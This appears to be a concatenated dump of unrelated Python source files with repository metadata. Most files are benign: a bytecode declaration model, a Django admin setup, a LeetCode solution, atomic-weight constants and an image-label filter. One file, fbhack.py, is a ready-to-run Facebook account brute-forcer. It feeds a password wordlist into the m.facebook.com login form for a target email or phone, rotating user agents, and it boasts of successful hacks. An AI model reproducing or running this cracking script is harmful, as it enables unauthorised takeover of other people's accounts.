Returns the start line number of the declaration.
"""
return self._lines[0] if self._lines else -1
def get_start_lineno(self):
return self.start_lineno
@property
def end_lineno(self):
"""
Returns the end line number of the declaration.
"""
return self._lines[1] if self._lines else -1
@property
def parent(self):
"""
Returns the parent of this declaration or ``None`` if there is
no parent (e.g., for a ``ModuleDeclaration``).
"""
return self._parent
@parent.setter
def parent(self, value):
# logger.debug("Set parent. %s", value)
self._parent = value
self._parent.add_child(self)
@property
def children(self):
"""
Returns the children of this declaration.
"""
return self._children
def add_child(self, child):
"""
Adds a child to this declaration.
:param child: A ``Declaration`` that is a child of the current declaration.
"""
self._children.append(child)
# logger.debug("add_child:: Children: %s", self.children)
# Keep sorting by line number
self._children = sorted(self._children, key=methodcaller('get_start_lineno'))
@property
def parent_module(self):
"""
Returns the parent module (a ``ModuleDeclaration``) for this declaration.
"""
return self.__get_parent_kind(ModuleDeclaration)
@property
def parent_class(self):
"""
Returns the parent class (a ``TypeDeclaration``) for this declaration.
"""
return self.__get_parent_kind(TypeDeclaration)
@property
def parent_method(self):
"""
Returns the parent method (a ``MethodDeclaration``) for this declaration.
"""
return self.__get_parent_kind(MethodDeclaration)
def __get_parent_kind(self, kind):
p = self.parent
while p is not None:
if isinstance(p, kind):
return p
p = p.parent
return None
@property
def bytecode(self):
"""
Returns the bytecode associated with this declaration.
"""
return self._bytecode
@bytecode.setter
def bytecode(self, value):
self._bytecode = value
@property
def code_object(self):
return self._code_object
@code_object.setter
def code_object(self, value):
self._code_object = value
def update_nested_code_object(self, original_co, new_co):
self._code_object = update_nested_code_object(self._code_object,
original_co,
new_co)
self._has_changes = True
@property
def has_changes(self):
return self._has_changes
@has_changes.setter
def has_changes(self, value):
self._has_changes = value
# Mostly reserved
@property
def bytecode_object(self):
return self._bytecode_object
@bytecode_object.setter
def bytecode_object(self, value):
self._bytecode_object = value
def accept(self, visitor):
if isinstance(visitor, BytecodeVisitor):
for i in xrange(len(self._bytecode)):
index, lineno, op, arg, cflow_in, _ = self._bytecode[i]
visitor.visit(index, op, arg=arg, lineno=lineno, cflow_in=cflow_in)
is_module = lambda self: self.kind == Declaration.MODULE
is_type = lambda self: self.kind == Declaration.TYPE
is_method = lambda self: self.kind == Declaration.METHOD
is_field = lambda self: self.kind == Declaration.FIELD
is_import = lambda self: self.kind == Declaration.IMPORT
@property
def kind(self):
return self._kind
class ImportDeclaration(Declaration):
"""
Models an import statement. It handles relatives/absolute
imports, as well as aliases.
"""
def __init__(self, code_object):
Declaration.__init__(self, Declaration.IMPORT, code_object)
self._root = None
self._aliases = None
self._live_names = None
self._dots = -1
self._star = False
@property
def star(self):
return self._star
@star.setter
def star(self, value):
self._star = value
@property
def aliases(self):
return self._aliases
@aliases.setter
def aliases(self, value):
self._aliases = value
@property
def live_names(self):
if self._live_names is None:
self._live_names = set()
for (name, alias) in self.aliases:
if alias is None:
if '.' not in name:
self._live_names.add(name)
else:
live_name = name[:name.rfind('.')]
self._live_names.add(live_name)
else:
self._live_names.add(alias)
return self._live_names
@property
def dots(self):
return self._dots
@dots.setter
def dots(self, value):
self._dots = value
@property
def root(self):
return self._root
@root.setter
def root(self, value):
self._root = value
def __eq__(self, obj):
return self.root == obj.root and self.aliases == obj.aliases and self.dots == obj.dots
def __repr__(self):
skip_import_root = False
import_buffer = ''
if self.dots > 0:
import_buffer += 'from ' + '.' * self.dots
if self.root:
import_buffer += self.root
skip_import_root = True
import_buffer += ' import '
elif self.root:
import_buffer += 'from '
else:
import_buffer += 'import '
if self.root and not skip_import_root:
import_buffer += self.root + ' import '
if self.star:
import_buffer += '*'
import_list = []
for aliased_name in self.aliases:
local_import = aliased_name[0]
if aliased_name[1]:
local_import += ' as ' + aliased_name[1]
import_list.append(local_import)
if import_list:
import_buffer += ', '.join(import_list)
return 'Import(%s)' % import_buffer
class ModuleDeclaration(Declaration):
"""
The module is the object that captures everything under one pyc file.
It contains nested classes and functions, as well as import statements.
"""
def __init__(self, module_path, code_object):
Declaration.__init__(self, Declaration.MODULE, code_object)
self._module_path = module_path
self._imports = []
self._classes = None
self._functions = None
def add_import(self, importDecl):
if importDecl not in self._imports:
self._imports.append(importDecl)
@property
def imports(self):
return self._imports
@property
def module_path(self):
return self._module_path
@property
def classes(self):
if self._classes is None:
self._classes = [ c for c in self.children if c.is_type() ]
return self._classes
@property
def functions(self):
if self._functions is None:
self._functions = [ f for f in self.children if f.is_method() ]
return self._functions
def __repr__(self):
return 'ModuleDeclaration(path=%s, co=%s)' % (self.module_path, self.code_object)
class TypeDeclaration(Declaration):
"""
Represent a class declaration. It has a name, as well as a hierarchy
(superclass). The type contains several methods and fields, and can
have nested types.
"""
def __init__(self, type_name, code_object):
Declaration.__init__(self, Declaration.TYPE, code_object)
self._type_name = type_name
self._superclasses = set()
self._methods = None
self._fields = None
self._nested_types = None
@property
def type_name(self):
"""
Returns the name of the type.
"""
return self._type_name
@property
def superclasses(self):
return self._superclasses
def add_superclass(self, type_name):
self._superclasses.add(type_name)
@property
def methods(self):
"""
Returns a list of ``MethodDeclaration`` that belong to this type.
"""
if self._methods is None:
self._methods = [ f for f in self.children if f.is_method() ]
return self._methods
@property
def fields(self):
return self.fields
@property
def nested_types(self):
"""
Returns a list of ``TypeDeclaration`` that belong to this type.
"""
if self._nested_types is None:
self._nested_types = [ c for c in self.children if c.is_type() ]
return self._nested_types
def __repr__(self):
return 'TypeDeclaration#%d(name=%s, co=%s, super=%s)' \
% (self.start_lineno, self.type_name, self.code_object, self.superclasses)
class MethodDeclaration(Declaration):
"""
The declaration of a method or a function.
"""
def __init__(self, method_name, code_object):
Declaration.__init__(self, Declaration.METHOD, code_object)
self._method_name = method_name
self._formal_parameters = []
self._body = None
self._labels = dis.findlabels(code_object.co_code)
self._nested_types = []
@property
def body(self):
return self._body
@body.setter
def body(self, value):
self._body = value
@property
def labels(self):
return self._labels
@property
def is_lambda(self):
return self.method_name == '<lambda>'
@property
def formal_parameters(self):
return self._formal_parameters
@formal_parameters.setter
def formal_parameters(self, value):
self._formal_parameters = value
@property
def method_name(self):
return self._method_name
@property
def nested_types(self):
return self._nested_types
def __repr__(self):
return 'MethodDeclaration#%d(name=%s, args=%s, co=%s)' \
% (self.start_lineno, self.method_name, self.formal_params, self.code_object)
class FieldDeclaration(Declaration):
def __init__(self, field_name, code_object):
Declaration.__init__(self, Declaration.FIELD, code_object)
self._field_name = field_name
@property
def field_name(self):
return self._field_name
| 24.111857 | 90 | 0.663296 | 1,378 | 10,778 | 4.942671 | 0.140784 | 0.052856 | 0.04111 | 0.022023 | 0.180003 | 0.101454 | 0.089708 | 0.062693 | 0.022904 | 0.022904 | 0 | 0.002423 | 0.234181 | 10,778 | 446 | 91 | 24.165919 | 0.822753 | 0.158193 | 0 | 0.166667 | 0 | 0 | 0.022777 | 0.009385 | 0.003546 | 0 | 0 | 0 | 0 | 1 | 0.22695 | false | 0 | 0.117021 | 0.085106 | 0.549645 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dc0fb30ff45fc45aa3b47400ad7bc72b515f7a74 | 1,418 | py | Python | accounts/admin.py | Gerard-007/musicalpacks | ef12c7281b395268ac53247fd34c3499f7a0569a | [
"MIT"
] | null | null | null | accounts/admin.py | Gerard-007/musicalpacks | ef12c7281b395268ac53247fd34c3499f7a0569a | [
"MIT"
] | 7 | 2020-06-05T20:23:21.000Z | 2022-03-11T23:45:33.000Z | accounts/admin.py | Gerard-007/musicalpacks | ef12c7281b395268ac53247fd34c3499f7a0569a | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import User
from .forms import UserCreateForm
from django.contrib.auth.models import Group
from django.contrib.auth.admin import UserAdmin
# Register your models here.
class MyAdmin(UserAdmin):
# The forms to add and change user instances
# form = UserChangeForm
add_form = UserCreateForm
# The fields to be used in displaying the User model.
# These override the definitions on the base UserAdmin
# that reference specific fields on auth.User.
list_display = ('username', 'email', 'date_joined', 'is_staff', 'is_active')
list_filter = ('is_staff',)
fieldsets = (
(None, {'fields': ('email', 'password')}),
('Personal info', {'fields': ('avatar', 'bio',)}),
('Permissions', {'fields': ('is_staff',)}),
)
# add_fieldsets is not a standard ModelAdmin attribute. UserAdmin
# overrides get_fieldsets to use this attribute when creating a user.
add_fieldsets = (
(None, {
'classes': ('wide',),
'fields': ('username', 'email', 'password1', 'password2')}
),
)
search_fields = ('username',)
ordering = ('username',)
filter_horizontal = ()
# Now register the new UserAdmin...
admin.site.register(User, MyAdmin)
# ... and, since we're not using Django's built-in permissions,
# unregister the Group model from admin.
admin.site.unregister(Group)
| 34.585366 | 80 | 0.6622 | 168 | 1,418 | 5.511905 | 0.505952 | 0.032397 | 0.055076 | 0.045356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001791 | 0.212271 | 1,418 | 40 | 81 | 35.45 | 0.827216 | 0.358251 | 0 | 0 | 0 | 0 | 0.206013 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.08 | 0.2 | 0 | 0.56 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
dc129448ec9bcba2fab95831fb90c2155c83c51a | 146 | py | Python | test4.py | brautaset/Test | 6ecbc436b08835b8a7d195cee701b8d639fd5bd2 | [
"Apache-2.0"
] | null | null | null | test4.py | brautaset/Test | 6ecbc436b08835b8a7d195cee701b8d639fd5bd2 | [
"Apache-2.0"
] | null | null | null | test4.py | brautaset/Test | 6ecbc436b08835b8a7d195cee701b8d639fd5bd2 | [
"Apache-2.0"
] | null | null | null | import numpy as np
x = np.arange(18).reshape(6,3)
print(x)
y = np.array_split(x, 3)
y = np.delete(y, 1, axis=0).reshape(-1,3)
print(y)
print(x)
| 14.6 | 41 | 0.643836 | 33 | 146 | 2.818182 | 0.545455 | 0.129032 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072 | 0.143836 | 146 | 9 | 42 | 16.222222 | 0.672 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
90531220a9376a7c1ca55e17cea625726dc1dc64 | 413 | py | Python | src/lib/etc.py | project-pitomi/pitomi-batch | 58f4b6b154e47d451721d18076f7aebc7e1c33c4 | [
"Apache-2.0"
] | null | null | null | src/lib/etc.py | project-pitomi/pitomi-batch | 58f4b6b154e47d451721d18076f7aebc7e1c33c4 | [
"Apache-2.0"
] | null | null | null | src/lib/etc.py | project-pitomi/pitomi-batch | 58f4b6b154e47d451721d18076f7aebc7e1c33c4 | [
"Apache-2.0"
] | null | null | null | import glob
import os
def extract_new_item_list(fresh_list, last_id):
return list(reversed(fresh_list[: fresh_list.index(last_id)]))
def clean_resource():
files_to_clean = glob.glob("resource/*")
for f in files_to_clean:
os.remove(f)
def extract_missing_galleries(fresh_list, owned_ids):
owned_set = set(owned_ids)
return list(filter(lambda id: id not in owned_set, fresh_list))
| 22.944444 | 67 | 0.733656 | 66 | 413 | 4.272727 | 0.454545 | 0.159574 | 0.092199 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164649 | 413 | 17 | 68 | 24.294118 | 0.817391 | 0 | 0 | 0 | 0 | 0 | 0.024213 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.181818 | 0.090909 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
90549c2ba14202d138b8dd6a883e2147a4e14802 | 2,245 | py | Python | .leetcode/503.next-greater-element-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/503.next-greater-element-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/503.next-greater-element-ii.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | # @lc app=leetcode id=503 lang=python3
#
# [503] Next Greater Element II
#
# https://leetcode.com/problems/next-greater-element-ii/description/
#
# algorithms
# Medium (60.08%)
# Likes: 3257
# Dislikes: 108
# Total Accepted: 164.6K
# Total Submissions: 273.2K
# Testcase Example: '[1,2,1]'
#
# Given a circular integer array nums (i.e., the next element of
# nums[nums.length - 1] is nums[0]), return the next greater number for every
# element in nums.
#
# The next greater number of a number x is the first greater number to its
# traversing-order next in the array, which means you could search circularly
# to find its next greater number. If it doesn't exist, return -1 for this
# number.
#
#
# Example 1:
#
#
# Input: nums = [1,2,1]
# Output: [2,-1,2]
# Explanation: The first 1's next greater number is 2;
# The number 2 can't find next greater number.
# The second 1's next greater number needs to search circularly, which is also
# 2.
#
#
# Example 2:
#
#
# Input: nums = [1,2,3,4,3]
# Output: [2,3,4,-1,4]
#
#
#
# Constraints:
#
#
# 1 <= nums.length <= 10^4
# -10^9 <= nums[i] <= 10^9
#
#
#
# @lc tags=stack
# @lc imports=start
from imports import *
# @lc imports=end
# @lc idea=start
#
# 下一个最大的数，循环。
# 两次迭代
#
# @lc idea=end
# @lc group=
# @lc rank=
# @lc code=start
class Solution:
def nextGreaterElements(self, nums: List[int]) -> List[int]:
s = []
buffer = [-1] * len(nums)
for _ in range(2):
for i in reversed(range(len(nums))):
n = nums[i]
while s and s[-1] <= n:
s.pop()
if s:
buffer[i] = s[-1]
s.append(n)
return buffer
pass
# @lc code=end
# @lc main=start
if __name__ == '__main__':
print('Example 1:')
print('Input : ')
print('nums = [1,2,1]')
print('Exception :')
print('[2,-1,2]')
print('Output :')
print(str(Solution().nextGreaterElements([1, 2, 1])))
print()
print('Example 2:')
print('Input : ')
print('nums = [1,2,3,4,3]')
print('Exception :')
print('[2,3,4,-1,4]')
print('Output :')
print(str(Solution().nextGreaterElements([1, 2, 3, 4, 3])))
print()
pass
# @lc main=end | 19.867257 | 78 | 0.578174 | 334 | 2,245 | 3.859281 | 0.359281 | 0.013964 | 0.079131 | 0.00931 | 0.163693 | 0.126455 | 0.074476 | 0.074476 | 0 | 0 | 0 | 0.056954 | 0.257016 | 2,245 | 113 | 79 | 19.867257 | 0.715827 | 0.523831 | 0 | 0.30303 | 0 | 0 | 0.133599 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030303 | false | 0.060606 | 0.030303 | 0 | 0.121212 | 0.484848 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 2 |
905df271575e9954534ed0d0af7e6fed09e7232d | 2,662 | py | Python | fbhack.py | Mr-Devil-007/REVERSE-INGINEERING | 1691308a66c6bc19adb70f73deef565d35920b22 | [
"Apache-2.0",
"MIT"
] | 1 | 2022-03-08T18:48:31.000Z | 2022-03-08T18:48:31.000Z | fbhack.py | Mr-Devil-007/REVERSE-INGINEERING | 1691308a66c6bc19adb70f73deef565d35920b22 | [
"Apache-2.0",
"MIT"
] | null | null | null | fbhack.py | Mr-Devil-007/REVERSE-INGINEERING | 1691308a66c6bc19adb70f73deef565d35920b22 | [
"Apache-2.0",
"MIT"
] | null | null | null | #-*-coding:utf8;-*-
#qpy:3
#qpy:console
import os
A='\033[1;31m'
B='\033[1;32m'
C='\033[1;33m'
D='\033[1;34m'
E='\033[1;35m'
F='\033[1;36m'
grb='''@:[1864140940265166]'''
print(B)
os.system('cowsay -f eyes "@Termux@ Hack Facebook" ')
print(A)
ok="""
==================================================
= FBBrute4King =
= {} By:{}.
(( KingElhakemV3$C™ )){}
==================================================
""".format(A, B, A,B, grb, A,C, A, C, A, C, A, C, A, C, A, C, A, C, A,'Welcome To @Termux@ ')
print(ok)
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import sys
import mechanize
import cookielib
import random
W = '\033[1;37;40m'
Br = '\033[1;31;40m'
Bg = '\033[1;32;40m'
Y = '\033[1;33;40m'
Bb = '\033[1;34;40m'
Bm = '\033[1;35;40m'
Bc = '\033[1;36;40m'
#email
email = str(raw_input("Email or Phone: "))
#wordlist
passwordlist = str(raw_input("Wordlist Path : "))
#Target Website
login = 'https://m.facebook.com/login/?next&ref=dbl&fl&refid=8'
#useragents
useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
welcome()
search()
print("Password does not exist in the wordlist")
def brute(password):
sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr = 0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and (not 'login_attempt' in log):
print(Bg +"\n\n[+] Email/Phone: " + email + " Password: {}".format(password)) + W
print Bg + "[+] " + email + " Has been Hacked Successfully!!!" + W
m = raw_input(' Do You want to exit? (y/n)')
if m == 'y':
exit()
elif m == 'n':
intro()
def search():
global password
passwords = open(passwordlist,"r")
for password in passwords:
password = password.replace("\n","")
brute(password)
#welcome
def welcome():
total = open(passwordlist,"r")
total = total.readlines()
print
print " [*] Account to crack : {}".format(email)
print " [*] Loaded :" , len(total), "passwords"
print " [*] Cracking, please wait ...\n\n"
if __name__ == '__main__':
main()
| 23.147826 | 191 | 0.592036 | 393 | 2,662 | 3.946565 | 0.452926 | 0.033527 | 0.01354 | 0.015474 | 0.009671 | 0.009671 | 0.009671 | 0.009671 | 0.009671 | 0.009671 | 0 | 0.075875 | 0.173178 | 2,662 | 114 | 192 | 23.350877 | 0.627896 | 0.045079 | 0 | 0.025 | 0 | 0.0375 | 0.399209 | 0.039526 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.1625 | 0.0625 | null | null | 0.125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
907d71fafa6af9209a7e4991063887e1a741afd8 | 3,522 | py | Python | src/misc.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 9 | 2021-04-18T08:03:50.000Z | 2022-03-22T03:29:54.000Z | src/misc.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 23 | 2021-04-14T08:43:02.000Z | 2022-03-31T10:26:42.000Z | src/misc.py | hkimaf/unixmd | 616634c720d0589fd600e3268afab9da957e18bb | [
"MIT"
] | 16 | 2021-04-14T05:59:45.000Z | 2022-02-02T03:05:23.000Z | from functools import wraps
import sys, time, os
import numpy as np
# Atomic weight
data = { "xx" : 1.00794, "H" : 1.00794, "He" : 4.00260, "Li" : 6.941, "Be" : 9.012187, "B" : 10.811,
"C" : 12.0107, "N" : 14.00674, "O" : 15.9994, "F" : 18.99840, "Ne" : 20.1797, "Na" : 22.98977,
"Mg" : 24.3050, "Al" : 26.98152, "Si" : 28.0855, "P" : 30.97376, "S" : 32.066, "Cl" : 35.4527,
"Ar" : 39.948, "K" : 39.0983, "Ca" : 40.078, "Sc" : 44.95591, "Ti" : 47.867, "V" : 50.9415,
"Cr" : 51.9961, "Mn" : 54.93805, "Fe" : 55.845, "Co" : 58.93320, "Ni" : 58.6934, "Cu" : 63.546,
"Zn" : 65.39, "Ga" : 69.723, "Ge" : 72.61, "As" : 74.92160, "Se" : 78.96, "Br" : 79.904,
"Kr" : 83.80, "Rb" : 85.4678, "Sr" : 87.62, "Y" : 88.90585, "Zr" : 91.224, "Nb" : 92.90638,
"Mo" : 95.94, "Tc" : 98.0, "Ru" : 101.07, "Rh" : 102.90550, "Pd" : 106.42, "Ag" : 107.8682,
"Cd" : 112.411, "In" : 114.818, "Sn" : 118.710, "Sb" : 121.760, "Te" : 127.60, "I" : 126.90477,
"Xe" : 131.29, "Cs" : 132.90545, "Ba" : 137.327, "La" : 138.9055, "Ce" : 140.116, "Pr" : 140.90765,
"Nd" : 144.24, "Pm" : 145.0, "Sm" : 150.36, "Eu" : 151.964, "Gd" : 157.24, "Tb" : 158.92534,
"Dy" : 162.50, "Ho" : 164.93032, "Er" : 167.26, "Tm" : 168.93421, "Yb" : 173.04, "Lu" : 174.967,
"Hf" : 178.49, "Ta" : 180.9479, "W" : 183.84, "Re" : 186.207, "Os" : 190.23, "Ir" : 192.217,
"Pt" : 195.078, "Au" : 196.96655, "Hg" : 200.59, "Tl" : 204.3833, "Pb" : 207.2, "Bi" :208.98038,
"Po" : 209.0, "At" : 210.0, "Rn" : 222.0, "Fr" :223.0, "Ra" : 226.0, "Ac" : 227.0,
"Th" : 232.0381, "Pa" : 231.03588, "U" : 238.0289, "Np" : 237.0, "Pu" : 244.0, "Am" : 243.0,
"Cm" : 247.0, "Bk" : 247.0, "Cf" : 251.0, "Es" : 252.0, "Fm" : 257.0, "Md" : 258.0,
"No" : 259.0, "Lr" : 262.0, "Rf" : 261.0, "Db" : 262.0, "Sg" : 263.0, "Bh" : 264.0,
"Hs" : 265.0, "Mt" : 268.0, "Ds" : 271.0, "Rg" : 272.0, "Uub" : 285.0, "Uut" : 284.0,
"Uuq" : 289.0, "Uup" : 288.0, "Uuh" : 292.0}
# Conversion units
amu_to_au = 1822.888486192
au_to_A = 0.529177249
A_to_au = 1 / au_to_A
au_to_fs = 0.02418884344
fs_to_au = 1 / au_to_fs # = 41.34137304
au_to_K = 3.15774646E+5
au_to_eV = 27.2113961
eV_to_au = 1 / au_to_eV # = 0.03674931
au_to_kcalmol = 627.503
kcalmol_to_au = 1 / au_to_kcalmol # = 0.00159362
# Speed of light in atomic unit
c = 137.035999108108
# Frequency unit
cm_to_au = 1.0E-8 * au_to_A * c
eps = 1.0E-12
data.update({n : amu_to_au * data[n] for n in data.keys()})
def elapsed_time(func):
@wraps(func)
def check(*args, **kwargs):
tbegin = time.time()
func(*args, **kwargs)
tend = time.time()
print (f"{func.__name__} : Elapsed time = {tend - tbegin} seconds", flush=True)
return check
def call_name():
return sys._getframe(1).f_code.co_name
def typewriter(string, dir_name, filename, mode):
""" Function to open/write any string in dir_name/filename
:param string string: Text string for output file
:param string dir_name: Directory of output file
:param string filename: Filename of output file
:param string mode: Fileopen mode
"""
tmp_name = os.path.join(dir_name, filename)
with open(tmp_name, mode) as f:
f.write(string + "\n")
def gaussian1d(x, const, sigma, x0):
if (sigma < 0.0):
return -1
else:
res = const / (sigma * np.sqrt(2. * np.pi)) * np.exp(- (x - x0) ** 2 / (2. * sigma ** 2))
return res
| 42.433735 | 107 | 0.532084 | 609 | 3,522 | 2.996716 | 0.65353 | 0.021918 | 0.013699 | 0.015342 | 0.044932 | 0 | 0 | 0 | 0 | 0 | 0 | 0.287009 | 0.248154 | 3,522 | 82 | 108 | 42.95122 | 0.40219 | 0.100227 | 0 | 0 | 0 | 0 | 0.090734 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.087719 | false | 0 | 0.052632 | 0.017544 | 0.210526 | 0.017544 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
907ed92c7e599f667818de7238e7b59016331705 | 624 | py | Python | modules/misc.py | cd-con/lenta | e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d | [
"MIT"
] | null | null | null | modules/misc.py | cd-con/lenta | e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d | [
"MIT"
] | null | null | null | modules/misc.py | cd-con/lenta | e75f62e4f33fc051e5ffc0cd2a4bfae69ac2cf0d | [
"MIT"
] | 1 | 2021-10-09T19:53:11.000Z | 2021-10-09T19:53:11.000Z | import random
import string
import settings
def cleanup_array(array):
bad_words = ["", " ", " "]
output = []
for a_word in array:
if a_word not in bad_words:
output.append(a_word)
return output
def generate_random_color():
colors = ["🟥", "🟧", "🟨", "🟩", "🟦", "🟪"]
return random.choice(colors)
def generate_random_key(lenght=10, seed=random.randint(11111, 99999)):
random.Random().seed(str(seed))
return ''.join([random.choice(string.ascii_letters) for _ in range(lenght)])
def is_admin(user_id):
return user_id == settings.admin_id
| 22.285714 | 81 | 0.610577 | 84 | 624 | 4.416667 | 0.52381 | 0.040431 | 0.075472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025424 | 0.24359 | 624 | 27 | 82 | 23.111111 | 0.747881 | 0 | 0 | 0 | 0 | 0 | 0.015075 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.166667 | 0.055556 | 0.611111 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
909f5a1524a236ed5e6091fa12675ddea0f974e8 | 989 | py | Python | pyclesperanto_prototype/_tier4/_exclude_large_labels.py | DrLachie/pyclesperanto_prototype | 56843fac2543265c40f108fd40eac3ecf85c8458 | [
"BSD-3-Clause"
] | null | null | null | pyclesperanto_prototype/_tier4/_exclude_large_labels.py | DrLachie/pyclesperanto_prototype | 56843fac2543265c40f108fd40eac3ecf85c8458 | [
"BSD-3-Clause"
] | null | null | null | pyclesperanto_prototype/_tier4/_exclude_large_labels.py | DrLachie/pyclesperanto_prototype | 56843fac2543265c40f108fd40eac3ecf85c8458 | [
"BSD-3-Clause"
] | null | null | null | from .._tier0 import plugin_function
from .._tier0 import Image
from .._tier0 import create_none
@plugin_function(output_creator=create_none, categories=['label processing', 'in assistant'])
def exclude_large_labels(source: Image, destination: Image = None, minimum_size: float = 100) -> Image:
"""Removes labels from a label map which are above a given maximum size.
Size of the labels is given as the number of pixel or voxels per label.
Parameters
----------
source : Image
destination : Image, optional
minimum_size : Number, optional
Returns
-------
destination
References
----------
.. [1] https://clij.github.io/clij2-docs/reference_excludeLabelsOutsideSizeRange
"""
from .._tier3 import exclude_labels_out_of_size_range
return exclude_labels_out_of_size_range(source, destination,
minimum_size=0,
maximum_size=minimum_size)
| 34.103448 | 103 | 0.658241 | 114 | 989 | 5.473684 | 0.526316 | 0.070513 | 0.072115 | 0.086538 | 0.086538 | 0.086538 | 0 | 0 | 0 | 0 | 0 | 0.013459 | 0.248736 | 989 | 28 | 104 | 35.321429 | 0.82638 | 0.379171 | 0 | 0 | 0 | 0 | 0.05045 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.444444 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
90a4734259a8c283ccf1a30bc8b7f53049059157 | 4,281 | py | Python | cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py | appressoas/cradmin_legacy | b9d024299333dd04c87c1031bd5be5778aa7f1f1 | [
"BSD-3-Clause"
] | null | null | null | cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py | appressoas/cradmin_legacy | b9d024299333dd04c87c1031bd5be5778aa7f1f1 | [
"BSD-3-Clause"
] | 17 | 2018-03-07T15:52:42.000Z | 2022-03-12T01:07:06.000Z | cradmin_legacy/viewhelpers/listfilter/basefilters/single/abstracttextinput.py | appressoas/cradmin_legacy | b9d024299333dd04c87c1031bd5be5778aa7f1f1 | [
